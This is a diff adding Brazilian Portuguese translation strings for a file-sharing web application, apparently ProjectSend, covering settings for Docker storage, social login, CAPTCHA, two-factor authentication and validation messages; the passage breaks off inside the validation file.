arquivos do contêiner", + "Docker volume": "Volume do Docker", + "Files stored on": "Arquivos armazenados em", + "Host directory": "Diretório do host", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Isso significa que docker compose down -v e docker volume prune apagam ambos, e um backup do seu servidor pode deixá-los totalmente de fora.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Eles não estão em nenhum volume, então reconstruir ou recriar este contêiner apagará definitivamente todos os arquivos. Mova-os para um diretório no host antes de enviar qualquer outra coisa.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Eles sobrevivem às atualizações, mas ficam em um volume gerenciado pelo Docker, e não em um diretório escolhido por você.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Eles sobrevivem às atualizações, mas ficam no volume do Docker :volume, e não em um diretório escolhido por você.", + "Uploaded files are inside Docker": "Os arquivos enviados estão dentro do Docker", + "Uploaded files are stored inside the container": "Os arquivos enviados são armazenados dentro do contêiner", + "1 more language available": "Mais 1 idioma disponível", + ":count more languages available": "Mais :count idiomas disponíveis", + ":left of :limit downloads left": "restam :left de :limit downloads", + ":limit downloads per person": ":limit downloads por pessoa", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name entrará apenas com a senha até configurar de novo, e receberá um e-mail sobre esta mudança. Se a verificação em duas etapas for obrigatória neste site, será solicitado que a ative novamente no próximo acesso.", + ":provider accepted your secret key.": "O :provider aceitou sua chave secreta.", + ":provider connected.": ":provider conectado.", + ":provider did not provide an email address, which is required to sign in.": "O :provider não forneceu um endereço de e-mail, que é necessário para entrar.", + ":provider disconnected.": ":provider desconectado.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": "O :provider nunca informa se um endereço é verificado, então com isto ativado ele pode criar novas contas, mas nunca entrar em uma que já exista. Conectá-lo em Configurações com a sessão já iniciada continua funcionando.", + ":provider rejected your secret key.": "O :provider rejeitou sua chave secreta.", + ":provider settings saved.": "Configurações do :provider salvas.", + ":used of :limit downloads used": ":used de :limit downloads usados", + "A :provider account was connected": "Uma conta do :provider foi conectada", + "A :provider account was disconnected": "Uma conta do :provider foi desconectada", + "Accounts at :domain cannot sign in with :provider here.": "Contas de :domain não podem entrar com o :provider aqui.", + "A client account was created from :provider": "Uma conta de cliente foi criada a partir do :provider", + "Allowed email domains": "Domínios de e-mail permitidos", + "Allow signing in with :provider": "Permitir entrar com o :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Sempre uma conta de cliente. Contas da equipe só são criadas por um administrador.", + "Always available — the application is written in English, so it needs no translation file.": "Sempre disponível — o aplicativo é escrito em inglês, então não precisa de arquivo de tradução.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Já existe uma conta com este endereço de e-mail, e o :provider não confirmou que ele é seu. Entre com sua senha e conecte o :provider pelas suas configurações.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Um endereço que o provedor não confirmou nunca pode ser associado a uma conta que já exista aqui. Desativar isto significa que qualquer um que possa se registrar no seu provedor com o endereço de outra pessoa poderia entrar como ela.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Um administrador removeu a verificação em duas etapas da sua conta. Você pode configurá-la de novo nas suas configurações de segurança. Fale com seu administrador se não esperava por isto.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Qualquer um que acesse um arquivo vê as categorias atribuídas a ele — um cliente no portal dele, ou qualquer um com um link público ou compartilhado. Clientes com sessão iniciada também podem filtrar seus arquivos por qualquer categoria desta lista. Só a sua equipe pode criá-las, renomeá-las ou excluí-las.", + "Applies whenever a password is chosen, not when one is used to sign in": "Vale sempre que uma senha é escolhida, não quando ela é usada para entrar", + "Approve those accounts automatically": "Aprovar essas contas automaticamente", + "A secret is stored. Leave this blank to keep it.": "Há um segredo salvo. Deixe em branco para mantê-lo.", + "At least :count characters.": "No mínimo :count caracteres.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Entre 0.0 (tratar todos como bot) e 1.0 (tratar todos como humano). O valor usual é 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "O CAPTCHA está desativado. Escolha um provedor e informe as chaves dele para ativá-lo.", + "CAPTCHA settings saved.": "Configurações do CAPTCHA salvas.", + "Categories are visible outside your team": "As categorias ficam visíveis fora da sua equipe", + "Change yours": "Alterar a sua", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Verifica as senhas novas contra a base de vazamentos do Have I Been Pwned. A senha em si nunca sai deste servidor — só os cinco primeiros caracteres do hash dela são enviados.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Verifica a chave secreta com seu provedor. Ninguém precisa resolver um desafio.", + "Client ID": "ID do cliente", + "Client registration": "Registro de clientes", + "Client secret": "Segredo do cliente", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Separados por vírgula. Deixe em branco para permitir qualquer endereço.", + "Comments from visitors": "Comentários de visitantes", + "Complete the security check and try again.": "Conclua a verificação de segurança e tente de novo.", + "Configure it myself": "Configurar eu mesmo", + "Connected": "Conectado", + "Connected accounts": "Contas conectadas", + "Connected the :provider account of \":subject\"": "Conectou a conta do :provider de \":subject\"", + "Continue with :provider": "Continuar com o :provider", + "Could not reach :provider: :error": "Não foi possível contatar o :provider: :error", + "Created a client account from :provider on first sign-in": "Criou uma conta de cliente a partir do :provider no primeiro acesso", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "As datas e horas em todo o aplicativo são mostradas neste fuso. Detectado pelo seu navegador na primeira vez que você entrou.", + "Default language": "Idioma padrão", + "Directory (tenant) ID": "ID do diretório (locatário)", + "Disabled": "Desativado", + "Disconnect": "Desconectar", + "Disconnected the :provider account of \":subject\"": "Desconectou a conta do :provider de \":subject\"", + "Downloaded :count time(s) so far. Your own downloads never count.": "Baixado :count vez(es) até agora. Seus próprios downloads nunca contam.", + "Download limit": "Limite de downloads", + "Download limit reached": "Limite de downloads atingido", + "Each person separately": "Cada pessoa separadamente", + "Enabled": "Ativado", + "Enter a secret key first.": "Informe primeiro uma chave secreta.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Informe um ID de locatário específico. Os endpoints compartilhados \"common\", \"organizations\" e \"consumers\" permitem que qualquer locatário da Microsoft afirme qualquer endereço de e-mail.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Todos os idiomas instalados neste servidor estão listados abaixo. Marque os que você quer oferecer no menu de idiomas — equipe, clientes e visitantes públicos verão apenas esses. Instalar outro idioma é questão de adicionar o arquivo de tradução dele à pasta lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "As senhas existentes nunca são reverificadas, então aumentar isto só afeta as senhas escolhidas de agora em diante.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "No total, entre todos", + "Issuer URL": "URL do emissor", + "Languages": "Idiomas", + "Language settings": "Configurações de idioma", + "Leave empty for a file that can be downloaded any number of times.": "Deixe vazio para um arquivo que pode ser baixado qualquer número de vezes.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "O comprimento é o maior fator para o quanto uma senha é difícil de adivinhar, e é por isso que não há regras do tipo \"precisa conter uma letra maiúscula\" aqui — elas empurram as pessoas para substituições previsíveis e senhas mais curtas.", + "Let people sign in with an account they already have somewhere else.": "Deixe as pessoas entrarem com uma conta que já têm em outro lugar.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Comprimento mínimo", + "No limit": "Sem limite", + "None selected": "Nenhum selecionado", + "No sign-in providers have been set up for this site.": "Nenhum provedor de acesso foi configurado para este site.", + "Not connected": "Não conectado", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Desativado significa que elas ficam em Solicitações de conta. Um endereço que o provedor não verificou sempre fica aguardando, independente do que isto diga.", + "Off — no CAPTCHA": "Desativado — sem CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Ou continue com", + "Or sign up with": "Ou cadastre-se com", + "Passwords": "Senhas", + "Passwords that appear in known data breaches are not accepted.": "Senhas que aparecem em vazamentos de dados conhecidos não são aceitas.", + "Protection": "Proteção", + "Protect these forms": "Proteger estes formulários", + "Protect your public forms from automated abuse": "Proteja seus formulários públicos contra abuso automatizado", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI de redirecionamento", + "Register this exact address with :provider. It must match character for character.": "Registre este endereço exato no :provider. Ele precisa coincidir caractere por caractere.", + "Reject passwords found in known data breaches": "Rejeitar senhas encontradas em vazamentos de dados conhecidos", + "Removed two-factor authentication from \":subject\"": "Removeu a verificação em duas etapas de \":subject\"", + "Remove the limit": "Remover o limite", + "Remove two-factor authentication": "Remover a verificação em duas etapas", + "Remove two-factor authentication?": "Remover a verificação em duas etapas?", + "Require a verified email address": "Exigir um endereço de e-mail verificado", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Execute isto como o usuário com o qual seu servidor web roda. O INSTALL.md tem o procedimento completo.", + "Score threshold": "Limite de pontuação", + "Search timezones…": "Buscar fusos horários…", + "Security check failed. Please try again.": "A verificação de segurança falhou. Tente de novo.", + "Service": "Serviço", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Defina uma senha para esta conta. Ela nunca teve uma — entra por meio de um provedor conectado, e uma conta da equipe precisa de uma credencial que este aplicativo possa verificar por conta própria.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Visitantes com sessão iniciada nunca precisam resolver um desafio ao comentar.", + "Sign in": "Entrar", + "Sign in with an account you already have somewhere else.": "Entre com uma conta que você já tem em outro lugar.", + "Site key": "Chave do site", + "Social login": "Login social", + "Stored encrypted and never shown again, not even to you.": "Guardado criptografado e nunca mostrado de novo, nem para você.", + "Stored — leave blank to keep it": "Guardado — deixe em branco para mantê-lo", + "Testing…": "Testando…", + "Test keys": "Testar chaves", + "That :provider account is already connected to another account here.": "Essa conta do :provider já está conectada a outra conta aqui.", + "That sign-in could not be completed. Please try again.": "Não foi possível concluir esse acesso. Tente de novo.", + "That sign-in method is not available.": "Esse método de acesso não está disponível.", + "The default language has to be one of the languages you are offering.": "O idioma padrão precisa ser um dos idiomas que você está oferecendo.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Os endpoints são lidos deste endereço, então ele é toda a configuração. Precisa ser https.", + "The expiry date must be in the future.": "A data de expiração precisa estar no futuro.", + "The issuer URL must start with https://.": "A URL do emissor precisa começar com https://.", + "The public key. It appears in your pages’ source, which is expected.": "A chave pública. Ela aparece no código-fonte das suas páginas, o que é esperado.", + "There is no account here for that address.": "Não há nenhuma conta aqui para esse endereço.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Não foi possível carregar a verificação de segurança. Confira se seu navegador ou sua rede não está bloqueando-a e recarregue a página.", + "This account does not use an authenticator app.": "Esta conta não usa um aplicativo autenticador.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Esta conta nunca teve uma senha própria — entra por meio de um provedor conectado. A equipe precisa de uma credencial que este aplicativo possa verificar por conta própria, para que uma queda do provedor não a deixe de fora.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Esta conta entra com um aplicativo autenticador. Remova-o só se o titular perdeu tanto o aplicativo quanto os códigos de recuperação.", + "This file has reached its download limit.": "Este arquivo atingiu seu limite de downloads.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Esta é a única forma de você entrar. Defina uma senha primeiro e depois desconecte o :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Este site é protegido pelo reCAPTCHA e aplicam-se a Política de Privacidade e os Termos de Serviço do Google.", + "Those files have reached their download limit.": "Esses arquivos atingiram seu limite de downloads.", + "Timezone": "Fuso horário", + "To update, back up your database and files, then:": "Para atualizar, faça backup do seu banco de dados e dos seus arquivos e depois:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Para atualizar, siga os passos do INSTALL.md — faça backup primeiro, depois descompacte a versão e rode as migrações.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Desative isto só se este servidor não deve fazer requisições externas. Se o serviço não puder ser contatado, a senha é aceita mesmo assim, então uma instalação sem internet nunca fica bloqueada por isto.", + "Two-factor authentication removed.": "Verificação em duas etapas removida.", + "Two-factor authentication removed by an admin": "Verificação em duas etapas removida por um administrador", + "Two-factor authentication was removed by an administrator": "A verificação em duas etapas foi removida por um administrador", + "Two-factor authentication was removed from your account": "A verificação em duas etapas foi removida da sua conta", + "Unexpected reply from :provider: :codes": "Resposta inesperada do :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Usado para quem não escolheu um fuso próprio, incluindo visitantes das suas páginas públicas e links compartilhados. Cada conta pode definir o seu no perfil.", + "Use ProjectSend’s protection": "Usar a proteção do ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Use sua própria conta do reCAPTCHA ou Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Não foi possível contatar a verificação recentemente, então os formulários protegidos estão passando sem checagem. Ninguém fica de fora.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Nós protegemos seus formulários públicos para você. Nada a configurar, nenhuma chave a gerenciar.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "O que as pessoas veem antes de escolherem qualquer coisa. Uma conta com sessão iniciada mantém a própria escolha, e um visitante cujo navegador pede um dos idiomas acima recebe esse — esta é a resposta para todos os demais.", + "Which languages people can choose from": "Entre quais idiomas as pessoas podem escolher", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Sua conta foi criada por meio de um destes provedores e não tem senha própria, então a última conexão não pode ser removida. Defina uma senha primeiro se quiser desconectá-la.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Sua própria conta está em :timezone, então isto não vai mudar como as datas aparecem para você.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Seu próprio locatário, não \"common\". A Microsoft permite que um usuário mude o endereço de e-mail da conta, então um acesso só é confiável quando o token veio do locatário que você indicou aqui.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Seu provedor rejeitou a chave secreta desta instalação, então os formulários protegidos estão passando sem checagem. Confira a chave secreta abaixo.", + "Your public forms are protected. You can switch to your own keys at any time.": "Seus formulários públicos estão protegidos. Você pode mudar para as suas próprias chaves a qualquer momento." +} diff --git a/lang/pt_BR/actions.php b/lang/pt_BR/actions.php new file mode 100644 index 00000000..399daefc --- /dev/null +++ b/lang/pt_BR/actions.php @@ -0,0 +1,119 @@ + 'Aceitar', + 'action' => 'Ação', + 'actions' => 'Ações', + 'add' => 'Adicionar', + 'admin' => 'Administrador', + 'agree' => 'Concordar', + 'archive' => 'Arquivo', + 'assign' => 'Atribuir', + 'associate' => 'Associado', + 'attach' => 'Anexar', + 'browse' => 'Navegar', + 'cancel' => 'Cancelar', + 'choose' => 'Escolher', + 'choose_file' => 'Escolher arquivo', + 'choose_image' => 'Escolha a imagem', + 'click_to_copy' => 'Clique para copiar', + 'close' => 'Fechar', + 'collapse' => 'Colapso', + 'collapse_all' => 'Recolher todos', + 'comment' => 'Comente', + 'confirm' => 'confirme', + 'connect' => 'Conectar', + 'create' => 'Criar', + 'delete' => 'Excluir', + 'detach' => 'Desanexar', + 'details' => 'Detalhes', + 'disable' => 'Desativar', + 'discard' => 'Descartar', + 'done' => 'Feito', + 'down' => 'Abaixo', + 'duplicate' => 'Duplicado', + 'edit' => 'Editar', + 'enable' => 'Habilitar', + 'expand' => 'Expandir', + 'expand_all' => 'Expandir todos', + 'explanation' => 'Explicação', + 'export' => 'Exportar', + 'file' => 'Arquivo', + 'files' => 'arquivos', + 'go_home' => 'Ir para casa', + 'hide' => 'Esconder', + 'home' => 'Lar', + 'image' => 'Imagem', + 'impersonate' => 'Personificar', + 'impersonation' => 'Representação', + 'import' => 'Importar', + 'introduction' => 'Introdução', + 'like' => 'Como', + 'load' => 'Carregar', + 'localize' => 'Localizar', + 'log_in' => 'Conecte-se', + 'log_out' => 'Sair', + 'named' => [ + 'add' => 'Adicione :name', + 'choose' => 'Escolha :name', + 'create' => 'Crie :name', + 'delete' => 'Excluir :name', + 'duplicate' => 'Duplicado: nome', + 'edit' => 'Editar :name', + 'export' => 'Exportar :name', + 'hide' => 'Ocultar :name', + 'import' => 'Importar :name', + 'new' => 'Novo :name', + 'restore' => 'Restaurar :name', + 'save' => 'Economize :name', + 'search' => 'Pesquisar :name', + 'show' => 'Mostrar :name', + 'update' => 'Atualização :name', + 'view' => 'Ver :name', + ], + 'new' => 'Novo', + 'no' => 'Não', + 'open' => 'Abrir', + 'open_website' => 'Aberto no site', + 'preview' => 'Visualização', + 'price' => 'Preço', + 'record' => 'Registro', + 'restore' => 'Restaurar', + 'save' => 'Salvar', + 'save_and_close' => 'Salvar fechar', + 'save_and_return' => 'Salvar e retornar', + 'search' => 'Procurar', + 'select' => 'Selecione', + 'select_all' => 'Selecionar tudo', + 'send' => 'Enviar', + 'settings' => 'Configurações', + 'show' => 'Mostrar', + 'show_all' => 'Mostre tudo', + 'sign_in' => 'Entrar', + 'solve' => 'Resolver', + 'start' => 'Começar', + 'stop' => 'Parar', + 'submit' => 'Enviar', + 'subscribe' => 'Se inscrever', + 'switch' => 'Trocar', + 'switch_to_role' => 'Mudar para função', + 'tag' => 'Marcação', + 'tags' => 'Tag', + 'target_link' => [ + 'blank' => 'Abrir em uma nova janela', + 'parent' => 'Abrir em um quadro pai', + 'self' => 'Abrir em uma janela atual', + 'top' => 'Abra no quadro superior', + ], + 'translate' => 'Traduzir', + 'translate_it' => 'Traduza isso', + 'unpack' => 'Descompacte', + 'unsubscribe' => 'Cancelar subscrição', + 'up' => 'Acima', + 'update' => 'Atualizar', + 'user' => 'Do utilizador', + 'view' => 'Visualizar', + 'yes' => 'Sim', +]; diff --git a/lang/pt_BR/auth.php b/lang/pt_BR/auth.php new file mode 100644 index 00000000..53fbed53 --- /dev/null +++ b/lang/pt_BR/auth.php @@ -0,0 +1,9 @@ + 'As credenciais indicadas não coincidem com as registradas no sistema.', + 'password' => 'A senha está errada.', + 'throttle' => 'O número limite de tentativas de login foi atingido. Por favor, tente novamente dentro de :seconds segundos.', +]; diff --git a/lang/pt_BR/http-statuses.php b/lang/pt_BR/http-statuses.php new file mode 100644 index 00000000..73119de0 --- /dev/null +++ b/lang/pt_BR/http-statuses.php @@ -0,0 +1,84 @@ + 'Erro Desconhecido', + '100' => 'Continuar', + '101' => 'Mudando Protocolos', + '102' => 'Processamento', + '200' => 'OK', + '201' => 'Criado', + '202' => 'Aceito', + '203' => 'Informações Não Autorizadas', + '204' => 'Nenhum Conteúdo', + '205' => 'Redefinir Conteúdo', + '206' => 'Conteúdo Parcial', + '207' => 'Vários status', + '208' => 'Já Reportado', + '226' => 'Estou Usando', + '300' => 'Múltiplas Escolhas', + '301' => 'Movido Permanentemente', + '302' => 'Encontrado', + '303' => 'Ver Outros', + '304' => 'Não Modificado', + '305' => 'Usar proxy', + '307' => 'Redirecionamento Temporário', + '308' => 'Redirecionamento Permanente', + '400' => 'Requisição Inválida', + '401' => 'Não Autorizado', + '402' => 'Pagamento Requerido', + '403' => 'Proibido', + '404' => 'Página Não Encontrada', + '405' => 'Método Não Permitido', + '406' => 'Não Aceitável', + '407' => 'Autenticação De Proxy Necessária', + '408' => 'Tempo Limite De Requisição', + '409' => 'Conflito', + '410' => 'Perdido', + '411' => 'Comprimento Necessário', + '412' => 'Pré-Condição Falhou', + '413' => 'Carga Muito Grande', + '414' => 'URI Muito Grande', + '415' => 'Tipo De Mídia Não Suportado', + '416' => 'Faixa Não Satisfatória', + '417' => 'Falha Na Expectativa', + '418' => 'Eu Sou Um Bule De Chá', + '419' => 'Sessão Expirou', + '421' => 'Solicitação Mal Direcionada', + '422' => 'Entidade Improcessável', + '423' => 'Fechado', + '424' => 'Dependência Com Falha', + '425' => 'Muito cedo', + '426' => 'Atualização Necessária', + '428' => 'Pré-Condição Necessária', + '429' => 'Muitas Requisições', + '431' => 'Campos De Cabeçalho De Solicitação Muito Grandes', + '444' => 'Conexão Fechada Sem Resposta', + '449' => 'Repetir Com', + '451' => 'Indisponível Por Motivos Legais', + '499' => 'Solicitação fechada do cliente', + '500' => 'Erro Interno Do Servidor', + '501' => 'Não Implementado', + '502' => 'Gateway Inválido', + '503' => 'Modo De Manutenção', + '504' => 'Tempo Limite Do Gateway', + '505' => 'Versão HTTP Não Suportada', + '506' => 'Variante Também Negocia', + '507' => 'Armazenamento Insuficiente', + '508' => 'Loop Detectado', + '509' => 'Limite de Banda Excedido', + '510' => 'Não Estendido', + '511' => 'Autenticação De Rede Necessária', + '520' => 'Erro Desconhecido', + '521' => 'Servidor Web Está Inativo', + '522' => 'Tempo Limite Da Conexão', + '523' => 'Origem É Inacessível', + '524' => 'Ocorreu Um Tempo Limite', + '525' => 'Falha No Handshake SSL', + '526' => 'Certificado SSL Inválido', + '527' => 'Erro do Canhão Elétrico', + '598' => 'Erro de tempo limite de leitura da rede', + '599' => 'Erro de tempo limite de conexão de rede', + 'unknownError' => 'Erro Desconhecido', +]; diff --git a/lang/pt_BR/pagination.php b/lang/pt_BR/pagination.php new file mode 100644 index 00000000..d80d3363 --- /dev/null +++ b/lang/pt_BR/pagination.php @@ -0,0 +1,8 @@ + 'Próximo »', + 'previous' => '« Anterior', +]; diff --git a/lang/pt_BR/passwords.php b/lang/pt_BR/passwords.php new file mode 100644 index 00000000..eb1ab24c --- /dev/null +++ b/lang/pt_BR/passwords.php @@ -0,0 +1,11 @@ + 'A senha foi redefinida!', + 'sent' => 'O lembrete de senha foi enviado!', + 'throttled' => 'Por favor, aguarde antes de tentar novamente.', + 'token' => 'Este código de recuperação de senha é inválido.', + 'user' => 'Não existe nenhum usuário com o e-mail indicado.', +]; diff --git a/lang/pt_BR/validation.php b/lang/pt_BR/validation.php new file mode 100644 index 00000000..0069a523 --- /dev/null +++ b/lang/pt_BR/validation.php @@ -0,0 +1,288 @@ + 'O campo :attribute deve ser aceito.', + 'accepted_if' => 'O :attribute deve ser aceito quando :other for :value.', + 'active_url' => 'O campo :attribute não contém uma URL válida.', + 'after' => 'O campo :attribute deve conter uma data posterior a :date.', + 'after_or_equal' => 'O campo :attribute deve conter uma data posterior ou igual a :date.', + 'alpha' => 'O campo :attribute deve conter apenas letras.', + 'alpha_dash' => 'O campo :attribute deve conter apenas letras, números e traços.', + 'alpha_num' => 'O campo :attribute deve conter apenas letras e números.', + 'any_of' => 'O campo :attribute é inválido.', + 'array' => 'O campo :attribute deve conter uma coleção de elementos.', + 'ascii' => 'O :attribute deve conter apenas caracteres alfanuméricos de byte único e símbolos.', + 'before' => 'O campo :attribute deve conter uma data anterior a :date.', + 'before_or_equal' => 'O campo :attribute deve conter uma data anterior ou igual a :date.', + 'between' => [ + 'array' => ':attribute deve conter entre :min e :max itens.', + 'file' => 'O arquivo :attribute deve ter entre :min e :max quilobytes.', + 'numeric' => 'O campo :attribute deve ter um valor entre :min e :max.', + 'string' => 'O campo :attribute deve conter entre :min e :max caracteres.', + ], + 'boolean' => 'O campo :attribute deve conter o valor verdadeiro ou falso.', + 'can' => 'O campo :attribute contém um valor não autorizado.', + 'confirmed' => 'A confirmação para o campo :attribute não coincide.', + 'contains' => 'O campo :attribute não possui um valor obrigatório.', + 'current_password' => 'A senha está incorreta.', + 'date' => 'O campo :attribute não contém uma data válida.', + 'date_equals' => 'O campo :attribute deve ser uma data igual a :date.', + 'date_format' => 'A data indicada para o campo :attribute não respeita o formato :format.', + 'decimal' => 'O :attribute deve ter :decimal casas decimais.', + 'declined' => 'O :attribute deve ser recusado.', + 'declined_if' => 'O :attribute deve ser recusado quando :other for :value.', + 'different' => 'Os campos :attribute e :other devem conter valores diferentes.', + 'digits' => 'O campo :attribute deve conter :digits dígitos.', + 'digits_between' => 'O campo :attribute deve conter entre :min e :max dígitos.', + 'dimensions' => 'O campo :attribute deve conter uma dimensão de imagem válida.', + 'distinct' => 'O campo :attribute contém um valor duplicado.', + 'doesnt_contain' => 'O campo :attribute não deve conter nenhum dos seguintes: :values.', + 'doesnt_end_with' => 'O campo :attribute não pode terminar com um dos seguintes: :values.', + 'doesnt_start_with' => 'O campo :attribute não pode começar com um dos seguintes: :values.', + 'email' => 'O campo :attribute não contém um endereço de e-mail válido.', + 'encoding' => 'O campo :attribute deve ser codificado em :encoding.', + 'ends_with' => 'O campo :attribute deve terminar com um dos seguintes: :values.', + 'enum' => 'O :attribute selecionado é inválido.', + 'exists' => 'O valor selecionado para o campo :attribute é inválido.', + 'extensions' => 'O campo :attribute deve ter uma das seguintes extensões: :values.', + 'file' => 'O campo :attribute deve conter um arquivo.', + 'filled' => 'É obrigatória a indicação de um valor para o campo :attribute.', + 'gt' => [ + 'array' => 'O campo :attribute deve ter mais de :value itens.', + 'file' => 'O campo :attribute deve ter mais de :value quilobytes.', + 'numeric' => 'O campo :attribute deve ser maior que :value.', + 'string' => 'O campo :attribute deve ter mais de :value caracteres.', + ], + 'gte' => [ + 'array' => 'O campo :attribute deve ter :value itens ou mais.', + 'file' => 'O campo :attribute deve ter :value quilobytes ou mais.', + 'numeric' => 'O campo :attribute deve ser maior ou igual a :value.', + 'string' => 'O campo :attribute deve ter :value caracteres ou mais.', + ], + 'hex_color' => 'O campo :attribute deve ter uma cor hexadecimal válida.', + 'image' => 'O campo :attribute deve conter uma imagem.', + 'in' => 'O campo :attribute não contém um valor válido.', + 'in_array' => 'O campo :attribute não existe em :other.', + 'in_array_keys' => 'O campo :attribute deve conter pelo menos uma das seguintes chaves: :values.', + 'integer' => 'O campo :attribute deve conter um número inteiro.', + 'ip' => 'O campo :attribute deve conter um IP válido.', + 'ipv4' => 'O campo :attribute deve conter um IPv4 válido.', + 'ipv6' => 'O campo :attribute deve conter um IPv6 válido.', + 'json' => 'O campo :attribute deve conter um JSON válido.', + 'list' => 'O campo :attribute deve ser uma lista.', + 'lowercase' => 'O campo :attribute deve estar em minúsculas.', + 'lt' => [ + 'array' => 'O campo :attribute deve ter menos de :value itens.', + 'file' => 'O campo :attribute deve ter menos de :value quilobytes.', + 'numeric' => 'O campo :attribute deve ser inferior a :value.', + 'string' => 'O campo :attribute deve ter menos de :value caracteres.', + ], + 'lte' => [ + 'array' => 'O campo :attribute não pode ter mais de :value itens.', + 'file' => 'O campo :attribute deve ter :value quilobytes ou menos.', + 'numeric' => 'O campo :attribute deve ser inferior ou igual a :value.', + 'string' => 'O campo :attribute deve ter :value caracteres ou menos.', + ], + 'mac_address' => 'O :attribute deve ser um endereço MAC válido.', + 'max' => [ + 'array' => 'O campo :attribute não deve conter mais de :max elementos.', + 'file' => 'O campo :attribute não deve ter um tamanho superior a :max quilobytes.', + 'numeric' => 'O campo :attribute não deve conter um valor superior a :max.', + 'string' => 'O campo :attribute não deve conter mais de :max caracteres.', + ], + 'max_digits' => 'O campo :attribute não pode ter mais do que :max dígitos.', + 'mimes' => 'O campo :attribute deve conter um arquivo do tipo: :values.', + 'mimetypes' => 'O campo :attribute deve conter um arquivo do tipo: :values.', + 'min' => [ + 'array' => 'O campo :attribute deve conter no mínimo :min elementos.', + 'file' => 'O campo :attribute deve ter no mínimo :min quilobytes.', + 'numeric' => 'O campo :attribute deve ter um valor superior ou igual a :min.', + 'string' => 'O campo :attribute deve conter no mínimo :min caracteres.', + ], + 'min_digits' => 'O campo :attribute deve ter pelo menos :min dígitos.', + 'missing' => 'O campo :attribute deve estar ausente.', + 'missing_if' => 'O campo :attribute deve estar ausente quando :other for :value.', + 'missing_unless' => 'O campo :attribute deve estar ausente, a menos que :other seja :value.', + 'missing_with' => 'O campo :attribute deve estar ausente quando :values estiver presente.', + 'missing_with_all' => 'O campo :attribute deve estar ausente quando :values estiverem presentes.', + 'multiple_of' => 'O :attribute deve ser um múltiplo de :value.', + 'not_in' => 'O campo :attribute contém um valor inválido.', + 'not_regex' => 'O formato de :attribute não é válido.', + 'numeric' => 'O campo :attribute deve conter um valor numérico.', + 'password' => [ + 'letters' => 'O campo :attribute deve conter pelo menos uma letra.', + 'mixed' => 'O campo :attribute deve conter pelo menos uma letra maiúscula e uma minúscula.', + 'numbers' => 'O campo :attribute deve conter pelo menos um número.', + 'symbols' => 'O campo :attribute deve conter pelo menos um símbolo.', + 'uncompromised' => 'O campo :attribute apareceu em uma violação de dados. Por favor, escolha um :attribute diferente.', + ], + 'present' => 'O campo :attribute deve estar presente.', + 'present_if' => 'O campo :attribute deve estar presente quando :other for :value.', + 'present_unless' => 'O campo :attribute deve estar presente, a 